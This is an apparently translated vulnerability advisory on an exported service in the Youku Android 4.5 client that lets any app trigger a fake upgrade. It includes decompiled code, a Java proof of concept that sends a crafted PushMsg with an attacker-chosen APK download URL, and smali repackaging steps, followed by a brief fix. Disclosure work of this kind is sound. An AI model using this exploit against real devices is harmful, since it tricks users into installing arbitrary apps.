Youku Android 4.5 client Upgrade Vulnerability

Youku Android 4.5 client Upgrade Vulnerability

When the components of the Youku Android 4.5 client are exposed, a third-party application can trigger the upgrade process. You can also specify the URL of the upgrade and download, which can cause any application to be installed!

The com. youku. service. push. StartActivityService component declaration is as follows:

This component is exposed. The code execution part of this component is as follows:

protected void onHandleIntent(Intent intent) {        Intent v0;        String v23;        Serializable pushMsg = intent.getSerializableExtra("PushMsg");        ......        AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();        switch(pushMsg.type) {            case 1: {                goto label_53;            }            ......        }        ......    label_53:        intent.setFlags(876609536);        intent.setClass(this, UpdateActivity.class);        intent.putExtra("updateurl", pushMsg.updateurl);        intent.putExtra("updateversion", pushMsg.updateversion);        intent.putExtra("updatecontent", pushMsg.updatecontent);        intent.putExtra("updateType", 2);        this.startActivity(intent);        return;    ......

This component obtains the Serializable data with the name PushMsg from the Intent and executes different processes according to the type of its member. When the value of type is 1, it performs the upgrade operation of the App. The data required for the upgrade, such as the app, is also obtained from the serialized data. The specific upgrade process is in com. youku. ui. activity. UpdateActivity. After simple analysis, we find that the upgrade process is not peer-to-peer, so we can specify this address as needed.

The key to triggering this vulnerability lies in the control of PushMsg data. The basic idea is as follows: 1. Create an Android App. The key code in the main Activity is as follows:

PushMsg pushMsg = new PushMsg();pushMsg.type = 1;pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";pushMsg.updatecontent = "This is Fake";Intent intent = new Intent();intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");intent.putExtra("PushMsg", pushMsg);startService(intent);

The PushMsg class does not need to be fully implemented, but only needs to be compiled. 2. decompile the App of Youku client to get the smali code and extract PushMsg. smali; 3. decompile the created APK file and replace the smali file of the original PushMsg class with PushMsg in youku. smali file, re-package the signature; 4. after installing and running the re-package APK, you will see the upgrade page of Youku triggered. If the design is good, it can induce users to install the APK file specified by the attacker.

Solution:

The component is not exposed, the upgrade address is determined, and the downloaded APK file is verified!